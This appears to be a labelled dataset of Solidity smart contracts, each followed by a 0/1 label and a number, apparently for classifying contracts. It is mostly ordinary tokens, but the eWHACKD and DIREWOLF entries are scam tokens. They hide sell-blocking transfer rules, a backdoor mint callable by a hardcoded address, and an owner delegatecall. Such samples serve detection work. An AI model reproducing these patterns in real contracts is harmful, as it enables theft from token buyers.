increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract ERC20Mock is ERC20, ERC20Burnable { constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") { _mint(initialAccount, initialBalance); } }
0
161
pragma solidity ^0.4.23; contract IERC20Token { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract SafeMath { constructor() public { } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Token is IERC20Token, SafeMath { mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256) { return allowed[_owner][_spender]; } } contract BdoksCoin is ERC20Token { uint256 public mintTotal; address public owner; event Mint(address _toAddress, uint256 _amount); constructor(address _owner) public { require(address(0) != _owner); name = "BdoksCoin"; symbol = "BDX"; decimals = 18; totalSupply = 100000000000000; mintTotal = 0; owner = _owner; } function mint (address _toAddress, uint256 _amount) public returns (bool) { require(msg.sender == owner); require(address(0) != _toAddress); require(_amount >= 0); require( safeAdd(_amount,mintTotal) <= totalSupply); mintTotal = safeAdd(_amount, mintTotal); balances[_toAddress] = safeAdd(balances[_toAddress], _amount); emit Mint(_toAddress, _amount); return (true); } function() public payable { revert(); } }
1
4,798
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract eWHACKD { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,500
pragma solidity ^0.4.25; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; contract ERC20 { function transferFrom (address from, address to, uint256 value) public returns (bool); } contract SpecialCampaign { address public owner; address public rcv; uint256 constant public fstPerWei = 3000; uint256 constant private min = 0; uint256 constant private max = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; ERC20 public FST; address public fstCentral; bytes32 public sh; bool public finalized = false; event RCVDeclare (address rcv); event Finalize (uint256 fstkReceivedEtherWei, uint256 rcvReceivedFSTWei); struct Bonus { uint256 gte; uint256 lt; uint256 bonusPercentage; } Bonus[] public bonusArray; constructor (ERC20 _FST, address _fstCentral, bytes32 _secretHash) public { owner = msg.sender; rcv = address(0); bonusArray.push(Bonus( min, 300 ether, 0)); bonusArray.push(Bonus( 300 ether, 900 ether, 120)); bonusArray.push(Bonus( 900 ether, 1500 ether, 128)); bonusArray.push(Bonus(1500 ether, max, 132)); FST = _FST; fstCentral = _fstCentral; sh = _secretHash; } function () external payable { require(now <= 1538323201); } function declareRCV(string _secret) public { require( sh == keccak256(abi.encodePacked(_secret)) && rcv == address(0) ); rcv = msg.sender; emit RCVDeclare(rcv); } function finalize () public { require( msg.sender == owner && rcv != address(0) && now > 1538323201 && finalized == false ); finalized = true; uint256 fstkReceivedEtherWei = address(this).balance; uint256 rcvReceivedFSTWei = 0; if (fstkReceivedEtherWei < 300 ether) { rcv.transfer(fstkReceivedEtherWei); emit Finalize(0, 0); return; } for (uint8 i = 0; i < bonusArray.length; i++) { Bonus storage b = bonusArray[i]; if (fstkReceivedEtherWei >= b.gte && fstkReceivedEtherWei < b.lt) { rcvReceivedFSTWei = fstkReceivedEtherWei * b.bonusPercentage * fstPerWei / 100; } } require(FST.transferFrom(fstCentral, rcv, rcvReceivedFSTWei)); fstCentral.transfer(fstkReceivedEtherWei); emit Finalize(fstkReceivedEtherWei, rcvReceivedFSTWei); } }
1
3,843
pragma solidity ^0.5.2; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.5.7; contract Utils { modifier onlyValidAddress(address _address) { require(_address != address(0), "invalid address"); _; } } pragma solidity 0.5.7; contract Manageable is Ownable, Utils { mapping(address => bool) public isManager; event ChangedManager(address indexed manager, bool active); modifier onlyManager() { require(isManager[msg.sender], "is not manager"); _; } constructor() public { setManager(msg.sender, true); } function setManager(address _manager, bool _active) public onlyOwner onlyValidAddress(_manager) { isManager[_manager] = _active; emit ChangedManager(_manager, _active); } function renounceOwnership() public onlyOwner { revert("Cannot renounce ownership"); } } pragma solidity 0.5.7; contract GlobalWhitelist is Ownable, Manageable { mapping(address => bool) public isWhitelisted; bool public isWhitelisting = true; event ChangedWhitelisting(address indexed registrant, bool whitelisted); event GlobalWhitelistDisabled(address indexed manager); event GlobalWhitelistEnabled(address indexed manager); function addAddressToWhitelist(address _address) public onlyManager onlyValidAddress(_address) { isWhitelisted[_address] = true; emit ChangedWhitelisting(_address, true); } function addAddressesToWhitelist(address[] calldata _addresses) external { for (uint256 i = 0; i < _addresses.length; i++) { addAddressToWhitelist(_addresses[i]); } } function removeAddressFromWhitelist(address _address) public onlyManager onlyValidAddress(_address) { isWhitelisted[_address] = false; emit ChangedWhitelisting(_address, false); } function removeAddressesFromWhitelist(address[] calldata _addresses) external { for (uint256 i = 0; i < _addresses.length; i++) { removeAddressFromWhitelist(_addresses[i]); } } function toggleWhitelist() external onlyOwner { isWhitelisting = isWhitelisting ? false : true; if (isWhitelisting) { emit GlobalWhitelistEnabled(msg.sender); } else { emit GlobalWhitelistDisabled(msg.sender); } } }
1
5,225
pragma solidity ^0.4.11; contract ERC20Interface { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract MTB is ERC20Interface { string public constant symbol = "MTB"; string public constant name = "MTB"; uint8 public constant decimals = 8; uint256 _totalSupply = 500000000; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function MTB() { owner = msg.sender; balances[owner] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
2,613
pragma solidity ^0.4.19; contract LottoCount { uint256 private maxTickets; uint256 public ticketPrice; uint256 public lottoIndex; uint256 lastTicketTime; uint8 _direction; uint256 numtickets; uint256 totalBounty; address worldOwner; event NewTicket(address indexed fromAddress, bool success); event LottoComplete(address indexed fromAddress, uint indexed lottoIndex, uint256 reward); function LottoCount() public { worldOwner = msg.sender; ticketPrice = 0.0101 * 10**18; maxTickets = 10; _direction = 0; lottoIndex = 1; lastTicketTime = 0; numtickets = 0; totalBounty = 0; } function getBalance() public view returns (uint256 balance) { balance = 0; if(worldOwner == msg.sender) balance = this.balance; return balance; } function withdraw() public { require(worldOwner == msg.sender); lottoIndex += 1; numtickets = 0; totalBounty = 0; worldOwner.transfer(this.balance); } function getLastTicketTime() public view returns (uint256 time) { time = lastTicketTime; return time; } function AddTicket() public payable { require(msg.value == ticketPrice); require(numtickets < maxTickets); lastTicketTime = now; numtickets += 1; totalBounty += ticketPrice; bool success = numtickets == maxTickets; NewTicket(msg.sender, success); if(success) { PayWinner(msg.sender); } } function PayWinner( address winner ) private { require(numtickets == maxTickets); uint ownerTax = 6 * totalBounty / 100; uint winnerPrice = totalBounty - ownerTax; LottoComplete(msg.sender, lottoIndex, winnerPrice); lottoIndex += 1; numtickets = 0; totalBounty = 0; if(_direction == 0 && maxTickets < 20) maxTickets += 1; if(_direction == 1 && maxTickets > 10) maxTickets -= 1; if(_direction == 0 && maxTickets == 20) _direction = 1; if(_direction == 1 && maxTickets == 10) _direction = 0; worldOwner.transfer(ownerTax); winner.transfer(winnerPrice); } }
1
3,461
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract DIREWOLF { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,021
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract InvestedProvider is Ownable { uint public invested; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != 